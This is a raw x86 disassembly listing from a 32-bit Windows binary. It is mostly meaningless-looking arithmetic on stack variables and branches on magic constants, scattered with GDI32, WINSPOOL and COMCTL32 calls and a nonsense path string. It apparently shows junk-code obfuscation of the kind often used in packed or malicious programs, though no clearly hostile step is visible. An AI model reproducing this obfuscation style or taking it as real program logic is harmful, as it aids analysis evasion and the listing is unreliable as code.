mov ecx, dword [ebp - 0x2e5c]
or ecx, dword [eax]
mov dword [ebp - 0x2e60], ecx
mov edx, dword [ebp - 0x2fd4]
mov eax, dword [ebp - 0x2f2c]
mov ecx, dword [edx]
sar eax, cl
mov dword [ebp - 0x2e2c], eax
mov ecx, dword [ebp - 0x2fa4]
mov edx, dword [ebp - 0x2e38]
and edx, dword [ecx]
mov dword [ebp - 0x2f2c], edx
mov eax, dword [ebp - 0x2e58]
mov ecx, dword [ebp - 0x2e9c]
mov edx, dword [eax]
add edx, dword [ecx]
mov dword [ebp - 0x2e38], edx
mov eax, dword [ebp - 0x2ec0]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0xd3]
add ecx, edx
mov byte [ebp - 0xd0], cl
mov eax, dword [ebp - 0x2ebc]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xb48]
add ecx, edx
mov eax, dword [ebp - 0x2eac]
mov word [eax], cx
mov ecx, dword [ebp - 0x2fc0]
mov edx, dword [ecx]
sub edx, dword [0x5193b8]
mov eax, dword [ebp - 0x2fc0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2e38]
and ecx, dword [ebp - 0x2e2c]
mov dword [ebp - 0x2fbc], ecx
mov edx, dword [ebp - 0x2fd4]
mov eax, dword [ebp - 0x2fbc]
sub eax, dword [edx]
mov dword [ebp - 0x2e38], eax
mov ecx, dword [ebp - 0x2fa0]
mov edx, dword [ebp - 0x2e60]
sub edx, dword [ecx]
mov dword [0x5193b8], edx
movzx eax, byte [ebp - 0xd2]
mov ecx, dword [ebp - 0x2e7c]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0xd0], al
jmp 0x41ba84
mov eax, dword [ebp - 0x2e6c]
mov cx, word [eax]
mov word [ebp - 0xb58], cx
mov edx, dword [ebp - 0x2f2c]
sub edx, dword [ebp - 0x2e64]
mov eax, dword [ebp - 0x2e80]
mov ecx, dword [ebp - 0x2e2c]
or ecx, dword [eax]
cmp edx, ecx
jl 0x41be49
movsx edx, word [ebp - 0xb4c]
mov eax, dword [ebp - 0x2ed4]
movsx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0x2e3c]
mov word [ecx], dx
lea edx, [ebp - 0x15]
mov dword [ebp - 0x2fe0], edx
mov dword [ebp - 0x2fe4], 0x1d4b
mov eax, dword [ebp - 0x2e70]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0x2dfc]
mov edx, dword [ebp - 0x2f8c]
mov dword [edx], ecx
mov eax, dword [0x518008]
mov ecx, dword [ebp - 0x2fbc]
sar eax, cl
mov ecx, dword [ebp - 0x2e80]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2ef8]
mov al, byte [edx]
mov byte [ebp - 0x2fe8], al
cmp byte [ebp - 0x2fe8], 0
je 0x41be65
jmp 0x4ecf8e
mov ecx, dword [ebp - 0x2ef8]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0xd2]
add edx, eax
movzx eax, byte [ebp - 0xcf]
movzx ecx, byte [ebp - 0xd1]
shl eax, cl
cmp edx, eax
jne 0x41bf61
mov cl, byte [ebp - 0xcd]
mov byte [ebp - 0x2fec], cl
cmp byte [ebp - 0x2fec], 0
je 0x41bea9
jmp 0x41bf4c
mov dl, byte [ebp - 0xd2]
mov byte [ebp - 0x2ff0], dl
cmp byte [ebp - 0x2ff0], 0
je 0x41bec0
jmp 0x41bf28
mov eax, dword [ebp - 0x2fd4]
mov ecx, dword [eax]
mov dword [ebp - 0x2ff4], ecx
mov edx, dword [ebp - 0x2ec0]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0xd0]
or eax, ecx
mov edx, dword [ebp - 0x2ec0]
mov byte [edx], al
mov dword [ebp - 0x2ff8], 0xea35
mov eax, dword [ebp - 0x2eac]
mov cx, word [eax]
mov word [ebp - 0xb5c], cx
mov edx, dword [ebp - 0x2dfc]
mov ecx, dword [ebp - 0x2e60]
shr edx, cl
mov eax, dword [ebp - 0x2fa0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2e80]
mov edx, dword [ecx]
mov dword [ebp - 0x2ffc], edx
jmp 0x41bf40
mov eax, dword [ebp - 0x2e9c]
mov ecx, dword [ebp - 0x2fa4]
mov edx, dword [eax]
xor edx, dword [ecx]
mov eax, dword [ebp - 0x2fd4]
mov dword [eax], edx
mov dword [ebp - 0x3000], 0x1174c
jmp 0x41bf61
mov ecx, dword [ebp - 0x2f04]
mov edx, dword [ebp - 0x2e9c]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [0x518008], eax
mov ecx, dword [0x5193bc]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x2e60]
mov eax, dword [ebp - 0x2fc0]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x2dfc]
cmp edx, ecx
jae 0x41c008
mov edx, dword [ebp - 0x2e7c]
mov al, byte [edx]
mov byte [ebp - 0x3004], al
cmp byte [ebp - 0x3004], 0x20
je 0x41bfa7
cmp byte [ebp - 0x3004], 0x9e
je 0x41bfe5
jmp 0x41c008
mov ecx, dword [ebp - 0x3008]
push ecx
call dword [sym.imp.GDI32.dll_GetMapMode]
mov dword [ebp - 0x2ffc], eax
mov edx, dword [0x518008]
add edx, dword [ebp - 0x2e2c]
mov dword [ebp - 0x2e38], edx
movsx eax, byte [ebp - 0x15]
mov ecx, dword [ebp - 0x2ed0]
movsx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x2fe0]
mov byte [ecx], al
jmp 0x41c008
push 0x79
lea edx, [ebp - 0x2ed0]
push edx
lea eax, [ebp - 0x2f28]
push eax
mov ecx, dword [ebp - 0x3008]
push ecx
call dword [sym.imp.GDI32.dll_GetPath]
mov dword [ebp - 0x2ff4], eax
mov dword [ebp - 0x300c], 0xb0fc
cmp dword [ebp - 0x3000], 0xdffc
jb 0x41c492
movsx edx, word [ebp - 0xb40]
movsx eax, word [ebp - 0xb4c]
sub edx, eax
mov ecx, dword [ebp - 0x2ed4]
mov word [ecx], dx
movzx edx, byte [ebp - 0xd3]
mov eax, dword [ebp - 0x2ec0]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x2e7c]
mov byte [eax], dl
mov ecx, dword [ebp - 0x3000]
sub ecx, 0xec
mov dword [ebp - 0x3000], ecx
mov edx, dword [ebp - 0x2ebc]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xb54]
and eax, ecx
mov edx, dword [ebp - 0x2eac]
mov word [edx], ax
mov eax, dword [ebp - 0x2dfc]
sub eax, dword [ebp - 0x2e5c]
mov dword [ebp - 0x2e60], eax
mov ecx, dword [ebp - 0x2fc0]
mov edx, dword [ebp - 0x2dfc]
or edx, dword [ecx]
mov dword [ebp - 0x2e60], edx
movzx eax, byte [ebp - 0xd0]
mov ecx, dword [ebp - 0x2ef8]
movzx ecx, byte [ecx]
sar eax, cl
mov byte [ebp - 0xcf], al
mov edx, dword [ebp - 0x2e6c]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xb50]
shl eax, cl
mov word [0x5193c0], ax
mov ecx, dword [ebp - 0x2e80]
mov edx, dword [ebp - 0x2f2c]
xor edx, dword [ecx]
mov eax, dword [ebp - 0x2e9c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2fa0]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x2e5c]
mov eax, dword [ebp - 0x2fa0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2fd4]
mov edx, dword [ebp - 0x2e58]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [ebp - 0x2ffc], eax
mov ecx, dword [ebp - 0x2f04]
mov edx, dword [ecx]
add edx, dword [ebp - 0x2ff4]
mov eax, dword [ebp - 0x2f04]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2eac]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x2ebc]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x2e6c]
mov word [eax], dx
mov ecx, dword [ebp - 0x2ec0]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x2ef8]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x2ec0]
mov byte [eax], dl
mov ecx, dword [ebp - 0x2eb8]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x2e60]
mov eax, dword [ebp - 0x2e70]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2e58]
mov edx, dword [ecx]
add edx, dword [ebp - 0x2e38]
mov eax, dword [ebp - 0x2f04]
mov dword [eax], edx
movzx ecx, word [ebp - 0xb5c]
mov edx, dword [ebp - 0x2ebc]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [0x5193c4]
mov word [edx], cx
mov eax, dword [ebp - 0x2fe0]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0xce]
add ecx, edx
mov eax, dword [ebp - 0x2f84]
mov byte [eax], cl
movzx ecx, word [ebp - 0xb50]
mov edx, dword [ebp - 0x2e6c]
movzx eax, word [edx]
and ecx, eax
mov word [ebp - 0xb44], cx
movzx edx, byte [ebp - 0xd2]
movzx ecx, byte [ebp - 0xd3]
sar edx, cl
mov eax, dword [ebp - 0x2ef8]
mov byte [eax], dl
mov edx, dword [ebp - 0x2e5c]
mov ecx, dword [ebp - 0x2e60]
shl edx, cl
mov dword [ebp - 0x2dfc], edx
mov eax, dword [ebp - 0x2e58]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0x2ff4]
mov dword [ebp - 0x2f2c], ecx
mov edx, dword [ebp - 0x2e80]
mov eax, dword [ebp - 0x2e64]
or eax, dword [edx]
mov dword [ebp - 0x2ffc], eax
mov ecx, dword [ebp - 0x2e60]
sub ecx, dword [ebp - 0x2dfc]
mov edx, dword [ebp - 0x2fac]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2e58]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2e64]
mov dword [ebp - 0x2e2c], ecx
movzx edx, word [ebp - 0xb58]
mov eax, dword [ebp - 0x2eac]
movzx ecx, word [eax]
and edx, ecx
mov word [0x5193c0], dx
mov edx, dword [ebp - 0x2ef8]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0xd1]
add eax, ecx
mov byte [ebp - 0xd0], al
mov edx, dword [ebp - 0x2fa4]
mov eax, dword [ebp - 0x2e2c]
sub eax, dword [edx]
mov dword [ebp - 0x2ffc], eax
mov ecx, dword [ebp - 0x2e5c]
add ecx, dword [ebp - 0x2e60]
mov edx, dword [ebp - 0x2fac]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2fa4]
mov ecx, dword [ebp - 0x2e64]
add ecx, dword [eax]
mov edx, dword [ebp - 0x2e9c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2f04]
mov ecx, dword [ebp - 0x2e9c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x2ff4], edx
movzx eax, byte [ebp - 0xd3]
movzx ecx, byte [ebp - 0xd0]
sub eax, ecx
mov byte [ebp - 0xcf], al
mov edx, dword [0x5193c4]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x2eac]
movzx edx, word [ecx]
sub eax, edx
mov word [ebp - 0xb54], ax
mov eax, dword [ebp - 0x2fe0]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0xcd]
add ecx, edx
mov eax, dword [ebp - 0x2f84]
mov byte [eax], cl
mov ecx, dword [ebp - 0x2ebc]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x2e6c]
movzx ecx, word [eax]
sar edx, cl
mov word [0x5193c0], dx
mov ecx, dword [ebp - 0x2dfc]
xor ecx, dword [ebp - 0x2e60]
mov dword [ebp - 0x2e5c], ecx
mov edx, dword [ebp - 0x2fd4]
mov eax, dword [ebp - 0x2f04]
mov ecx, dword [edx]
or ecx, dword [eax]
mov dword [ebp - 0x2ff4], ecx
movzx edx, word [0x5193c0]
mov eax, dword [ebp - 0x2eac]
movzx ecx, word [eax]
shl edx, cl
mov word [ebp - 0xb48], dx
mov ecx, dword [ebp - 0x2ef8]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x2e7c]
movzx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0x2ef8]
mov byte [eax], dl
mov ecx, dword [ebp - 0x2fa0]
mov edx, dword [ebp - 0x2e5c]
add edx, dword [ecx]
mov dword [ebp - 0x2dfc], edx
mov eax, dword [ebp - 0x2e38]
sub eax, dword [ebp - 0x2ff4]
mov dword [ebp - 0x2e2c], eax
mov ecx, dword [ebp - 0x2fbc]
and ecx, dword [0x518008]
mov dword [ebp - 0x2f2c], ecx
mov edx, dword [ebp - 0x2f8c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x2dfc]
mov ecx, dword [ebp - 0x2eb8]
mov dword [ecx], eax
movzx edx, word [ebp - 0xb44]
movzx eax, word [ebp - 0xb50]
sub edx, eax
mov ecx, dword [0x5193c4]
mov word [ecx], dx
mov edx, dword [ebp - 0x2e7c]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x2ef8]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0xd3], al
mov eax, dword [ebp - 0x2f2c]
sub eax, dword [ebp - 0x2e2c]
mov ecx, dword [ebp - 0x2e80]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2e9c]
mov eax, dword [edx]
add eax, dword [0x518008]
mov dword [ebp - 0x2e38], eax
mov ecx, dword [ebp - 0x2fa0]
mov edx, dword [ecx]
or edx, dword [ebp - 0x2e60]
mov dword [ebp - 0x2e5c], edx
mov eax, dword [ebp - 0x2e64]
xor eax, dword [ebp - 0x2e38]
mov ecx, dword [ebp - 0x2e9c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2e9c]
mov eax, dword [0x518008]
mov ecx, dword [edx]
sar eax, cl
mov dword [ebp - 0x2ffc], eax
jmp 0x41c012
movsx edx, byte [ebp - 0x15]
movsx ecx, byte [ebp - 0xcd]
shl edx, cl
mov byte [ebp - 0xce], dl
movsx eax, word [ebp - 0x7f4]
mov ecx, dword [ebp - 0x2ed4]
movsx edx, word [ecx]
and eax, edx
mov ecx, dword [ebp - 0x2fb0]
mov word [ecx], ax
mov edx, dword [ebp - 0x2eac]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x2ebc]
movzx edx, word [ecx]
add eax, edx
mov word [0x5193c0], ax
movzx eax, byte [ebp - 0xd1]
mov ecx, dword [ebp - 0x2e7c]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x2ec0]
mov byte [ecx], al
mov edx, dword [ebp - 0x2dfc]
sub edx, dword [ebp - 0x2e5c]
mov dword [ebp - 0x2e60], edx
mov eax, dword [ebp - 0x2fd4]
mov ecx, dword [ebp - 0x2fbc]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x2fc4]
mov dword [edx], ecx
movzx eax, byte [ebp - 0xd0]
movzx ecx, byte [ebp - 0xd1]
and eax, ecx
mov edx, dword [ebp - 0x2ef8]
mov byte [edx], al
mov eax, dword [ebp - 0x2ebc]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x2eac]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x2ebc]
mov word [edx], cx
mov eax, dword [ebp - 0x2ed8]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2e5c]
mov dword [ebp - 0x2e60], ecx
mov edx, dword [ebp - 0x2fbc]
sub edx, dword [ebp - 0x2ffc]
mov dword [ebp - 0x2f2c], edx
mov eax, dword [ebp - 0x2f04]
mov ecx, dword [eax]
sub ecx, dword [0x518008]
mov dword [ebp - 0x2ffc], ecx
mov edx, dword [ebp - 0x2ed8]
mov eax, dword [edx]
xor eax, dword [ebp - 0x2dfc]
mov dword [0x5193b8], eax
mov ecx, dword [ebp - 0x2e7c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x2ec0]
movzx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0x2e7c]
mov byte [ecx], dl
movzx edx, word [ebp - 0xb44]
mov eax, dword [ebp - 0x2ebc]
movzx ecx, word [eax]
or edx, ecx
mov eax, dword [ebp - 0x2eac]
mov word [eax], dx
mov ecx, dword [ebp - 0x2e80]
mov edx, dword [ebp - 0x2fbc]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x2f04]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2fd4]
mov edx, dword [ebp - 0x2e38]
and edx, dword [ecx]
mov dword [ebp - 0x2ffc], edx
movsx eax, byte [ebp - 0x15]
movsx ecx, byte [ebp - 0xcd]
add eax, ecx
mov byte [ebp - 0xce], al
mov edx, dword [ebp - 0x2ed4]
movsx eax, word [edx]
movsx ecx, word [ebp - 0xb4c]
sub eax, ecx
mov word [ebp - 0x7f4], ax
mov edx, dword [ebp - 0x2e6c]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xb50]
sub eax, ecx
mov edx, dword [ebp - 0x2eac]
mov word [edx], ax
movzx eax, byte [ebp - 0xd3]
movzx ecx, byte [ebp - 0xd0]
sub eax, ecx
mov byte [ebp - 0xd2], al
mov edx, dword [ebp - 0x2ed8]
mov eax, dword [0x5193bc]
mov ecx, dword [edx]
add ecx, dword [eax]
mov dword [0x5193b8], ecx
mov edx, dword [ebp - 0x2dfc]
and edx, dword [ebp - 0x2e60]
mov dword [ebp - 0x2e5c], edx
mov eax, dword [ebp - 0x2f04]
mov ecx, dword [ebp - 0x2e9c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x2e58]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2fc4]
mov edx, dword [ecx]
add edx, dword [ebp - 0x2fbc]
mov eax, dword [ebp - 0x2fc4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2e9c]
mov edx, dword [ebp - 0x2ff4]
add edx, dword [ecx]
mov dword [ebp - 0x2e64], edx
mov eax, dword [ebp - 0x2f24]
add eax, 0x8b
mov dword [ebp - 0x2f24], eax
mov ecx, dword [ebp - 0x2e7c]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0xd0]
shl edx, cl
mov byte [ebp - 0xd1], dl
movzx eax, word [ebp - 0xb5c]
mov ecx, dword [ebp - 0x2e6c]
movzx edx, word [ecx]
or eax, edx
mov ecx, dword [ebp - 0x2ebc]
mov word [ecx], ax
mov edx, dword [ebp - 0x2e5c]
xor edx, dword [0x5193b8]
mov eax, dword [ebp - 0x2fa0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2fc4]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x2e38]
sar edx, cl
mov eax, dword [ebp - 0x2e58]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2e58]
mov edx, dword [ecx]
and edx, dword [ebp - 0x2ffc]
mov eax, dword [ebp - 0x2fd4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2fa0]
mov edx, dword [ebp - 0x2e70]
mov eax, dword [ecx]
add eax, dword [edx]
mov ecx, dword [0x5193bc]
mov dword [ecx], eax
movzx edx, word [ebp - 0xb54]
movzx eax, word [ebp - 0xb48]
add edx, eax
mov word [ebp - 0xb44], dx
mov ecx, dword [ebp - 0x2ec0]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x2ef8]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0xd0], dl
mov edx, dword [ebp - 0x2ed4]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x7f4]
sub eax, ecx
mov edx, dword [ebp - 0x2ed4]
mov word [edx], ax
mov eax, dword [ebp - 0x2ed0]
movsx ecx, byte [eax]
movsx edx, byte [0x518005]
add ecx, edx
mov byte [ebp - 0x15], cl
mov eax, dword [ebp - 0x2e70]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2dfc]
mov dword [ebp - 0x2e5c], ecx
cmp dword [ebp - 0x2f24], 0x8559
jbe 0x41c4a5
mov edx, dword [ebp - 0x2fa4]
mov eax, dword [ebp - 0x2f04]
mov ecx, dword [edx]
and ecx, dword [eax]
mov dword [ebp - 0x2f2c], ecx
mov dword [ebp - 0x3010], 0x385e
lea edx, [ebp - 0xd3]
mov dword [ebp - 0x3014], edx
mov dword [ebp - 0x3018], 0xcab1
movsx eax, byte [ebp - 0xce]
mov ecx, dword [ebp - 0x2f84]
movsx edx, byte [ecx]
sub eax, edx
movsx ecx, byte [ebp - 0xcd]
movsx edx, byte [ebp - 0x15]
or ecx, edx
cmp eax, ecx
jl 0x4ecf54
mov eax, dword [0x5193bc]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0x2e5c]
mov edx, dword [ebp - 0x2eb0]
mov dword [edx], ecx
lea eax, [ebp - 0x2e2c]
mov dword [ebp - 0x301c], eax
mov ecx, dword [ebp - 0x2fc4]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x2ff4]
mov eax, dword [ebp - 0x2fa4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2e7c]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0xcf]
and edx, eax
mov byte [ebp - 0xd3], dl
lea ecx, [ebp - 0xb50]
mov dword [ebp - 0x3020], ecx
mov edx, dword [ebp - 0x3014]
mov al, byte [edx]
mov byte [ebp - 0x3024], al
cmp byte [ebp - 0x3024], 0xa
je 0x41c8c7
cmp byte [ebp - 0x3024], 0x15
je 0x41c8db
jmp 0x41c978
mov ecx, dword [ebp - 0x2f2c]
push ecx
call fcn.004ee520
add esp, 4
jmp 0x41c978
push 0x42
lea edx, [ebp - 0xcd]
push edx
push fcn.004eefc0
mov eax, dword [ebp - 0x2f3c]
push eax
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [ebp - 0x2f7c], eax
mov ecx, dword [0x5193bc]
mov edx, dword [ebp - 0x2fc0]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x2e60], eax
mov ecx, dword [ebp - 0x2ed4]
movsx edx, word [ecx]
mov dword [ebp - 0x3028], edx
cmp dword [ebp - 0x3028], 0x3684
je 0x41c960
cmp dword [ebp - 0x3028], 0x6be0
je 0x41c93a
jmp 0x41c978
mov eax, dword [ebp - 0x2ea0]
movzx ecx, byte [eax]
push ecx
mov edx, dword [ebp - 0x2f84]
movzx eax, byte [edx]
push eax
mov ecx, dword [ebp - 0x2f84]
movzx edx, byte [ecx]
push edx
call fcn.004ed7b0
nop
jmp 0x41c978
mov eax, dword [ebp - 0x301c]
mov ecx, dword [ebp - 0x2fc4]
mov edx, dword [eax]
add edx, dword [ecx]
mov eax, dword [ebp - 0x2f04]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2e38]
mov dword [ebp - 0x302c], ecx
cmp dword [ebp - 0x302c], 0
je 0x41c992
jmp 0x4ecee4
mov edx, dword [ebp - 0x2fd4]
mov eax, dword [ebp - 0x2e58]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x2e80]
mov eax, dword [ebp - 0x2fc4]
mov edx, dword [edx]
add edx, dword [eax]
cmp ecx, edx
jg 0x41cb28
mov eax, dword [ebp - 0x2ed4]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x2e3c]
movsx eax, word [edx]
and ecx, eax
movsx edx, word [ebp - 0xb40]
movsx eax, word [ebp - 0x7f4]
or edx, eax
cmp ecx, edx
jl 0x41caf3
mov ecx, dword [0x5193bc]
mov edx, dword [ecx]
mov dword [ebp - 0x3030], edx
cmp dword [ebp - 0x3030], 0
je 0x41ca12
cmp dword [ebp - 0x3030], 0x9f18e0c2
je 0x41cac0
jmp 0x41caf1
mov eax, dword [ebp - 0x2eb8]
mov ecx, dword [ebp - 0x2eb0]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x2e70]
mov ecx, dword [ebp - 0x2e5c]
sub ecx, dword [eax]
cmp edx, ecx
jne 0x41caa6
movzx edx, word [ebp - 0xb58]
mov dword [ebp - 0x3034], edx
cmp dword [ebp - 0x3034], 0xa33
je 0x41ca5d
cmp dword [ebp - 0x3034], 0xb51
je 0x41ca91
jmp 0x41caa4
mov eax, dword [ebp - 0x2ed4]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x2fb0]
movsx eax, word [edx]
add ecx, eax
mov word [ebp - 0x7f4], cx
movsx ecx, byte [ebp - 0x15]
mov edx, dword [ebp - 0x2ed0]
movsx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x2ea0]
mov byte [edx], cl
jmp 0x41caa4
mov eax, dword [ebp - 0x2e98]
push eax
call dword [sym.imp.GDI32.dll_FillPath]
mov dword [ebp - 0x2ef4], eax
jmp 0x41cabe
movzx ecx, byte [ebp - 0xd0]
mov edx, dword [ebp - 0x2e7c]
movzx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0xd2], cl
jmp 0x41caf1
push str.C:PlundersMambaintermittentlypanther
mov ecx, dword [ebp - 0x3038]
push ecx
call dword [sym.imp.GDI32.dll_CopyEnhMetaFileA]
mov dword [ebp - 0x303c], eax
movzx edx, word [ebp - 0xb54]
movzx eax, word [ebp - 0xb58]
sub edx, eax
mov ecx, dword [ebp - 0x3020]
mov word [ecx], dx
jmp 0x41cb28
mov edx, dword [ebp - 0x2f84]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0xcd]
sar eax, cl
movsx ecx, byte [ebp - 0x15]
movsx edx, byte [ebp - 0xce]
xor ecx, edx
cmp eax, ecx
jge 0x41cb28
mov eax, dword [ebp - 0x2dfc]
add eax, dword [ebp - 0x2e60]
mov dword [ebp - 0x2e5c], eax
mov cl, byte [ebp - 0xcf]
mov byte [ebp - 0x3040], cl
cmp byte [ebp - 0x3040], 0
je 0x41cb96
cmp byte [ebp - 0x3040], 0xf2
je 0x41cb4b
jmp 0x41cc41
lea edx, [ebp - 0x2fa0]
push edx
push 0xb6
lea eax, [ebp - 0x2e6c]
push eax
push 0x58
push 0xcf
mov ecx, dword [ebp - 0x2fb4]
push ecx
call sub.WINSPOOL.DRV_GetJobA
mov dword [ebp - 0x3044], eax
mov edx, dword [ebp - 0x2ed4]
movzx eax, word [edx]
push eax
movzx ecx, word [ebp - 0x7f4]
push ecx
call fcn.004ee400
add esp, 8
jmp 0x41cc41
mov edx, dword [ebp - 0x2e3c]
movsx eax, word [edx]
mov dword [ebp - 0x3048], eax
cmp dword [ebp - 0x3048], 0x6618
je 0x41cbb6
jmp 0x41cc41
mov ecx, dword [0x5193b8]
add ecx, dword [ebp - 0x2e60]
mov edx, dword [ebp - 0x2eb8]
mov eax, dword [edx]
add eax, dword [ebp - 0x2e5c]
cmp ecx, eax
jb 0x41cc41
mov ecx, dword [ebp - 0x2fc0]
mov edx, dword [ebp - 0x2fac]
mov eax, dword [ecx]
add eax, dword [edx]
mov dword [ebp - 0x2dfc], eax
mov ecx, dword [ebp - 0x3014]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0xd1]
xor edx, eax
mov ecx, dword [ebp - 0x3014]
mov byte [ecx], dl
lea edx, [ebp - 0x2fe0]
push edx
lea eax, [ebp - 0xe628]
push eax
lea ecx, [ebp - 0x2fbc]
push ecx
mov edx, dword [ebp - 0x2fb4]
push edx
call sub.WINSPOOL.DRV_FindNextPrinterChangeNotification
mov dword [ebp - 0x304c], eax
movzx eax, word [ebp - 0xb5c]
movzx ecx, word [ebp - 0xb58]
sar eax, cl
mov word [0x5193c0], ax
mov dword [ebp - 0x3050], 0x7cc4
mov dword [ebp - 0x3054], 0x1dd
mov edx, dword [0x518008]
mov ecx, dword [ebp - 0x2f2c]
shl edx, cl
mov eax, dword [ebp - 0x2fa4]
mov dword [eax], edx
lea ecx, [ebp - 0x2dfc]
mov dword [ebp - 0x3058], ecx
mov edx, dword [ebp - 0x2e64]
or edx, dword [ebp - 0x2ff4]
mov eax, dword [ebp - 0x301c]
mov dword [eax], edx
mov ecx, dword [0x5193bc]
mov edx, dword [ecx]
mov dword [ebp - 0x305c], edx
cmp dword [ebp - 0x305c], 0
je 0x41ccb3
cmp dword [ebp - 0x305c], 0xbfa5a16d
je 0x41cd09
jmp 0x41cd96
mov eax, dword [ebp - 0x2f04]
mov ecx, dword [ebp - 0x301c]
mov edx, dword [eax]
and edx, dword [ecx]
mov dword [ebp - 0x2e2c], edx
mov dword [ebp - 0x3060], 0x766f
mov al, byte [ebp - 0xd3]
mov byte [ebp - 0xd4], al
movzx ecx, word [ebp - 0xb54]
movzx edx, word [ebp - 0xb5c]
sub ecx, edx
mov eax, dword [ebp - 0x2ebc]
mov word [eax], cx
lea ecx, [ebp - 0x2e5c]
mov dword [ebp - 0x3064], ecx
jmp 0x41cd96
mov edx, dword [ebp - 0x3064]
mov eax, dword [ebp - 0x2fa0]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [0x5193b8]
and edx, dword [ebp - 0x2dfc]
cmp ecx, edx
ja 0x41cd96
mov eax, dword [ebp - 0x2fa0]
mov ecx, dword [eax]
mov dword [ebp - 0x3068], ecx
cmp dword [ebp - 0x3068], 0x5ccf0d1d
je 0x41cd45
jmp 0x41cd90
mov edx, dword [ebp - 0x2fbc]
add edx, dword [ebp - 0x2e2c]
mov eax, dword [ebp - 0x2e80]
mov dword [eax], edx
lea ecx, [ebp - 0xe840]
push ecx
push 0x83
mov edx, dword [ebp - 0x306c]
push edx
call dword [sym.imp.GDI32.dll_GetEnhMetaFileDescriptionA]
mov dword [ebp - 0x2e5c], eax
movzx eax, word [ebp - 0xb5c]
movzx ecx, word [ebp - 0xb50]
add eax, ecx
mov word [0x5193c0], ax
jmp 0x41cd96
call fcn.004ed570
nop
cmp dword [ebp - 0x2e28], 0x771a
ja 0x41cf57
mov edx, dword [ebp - 0x2ea0]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x2f84]
movsx edx, byte [ecx]
add eax, edx
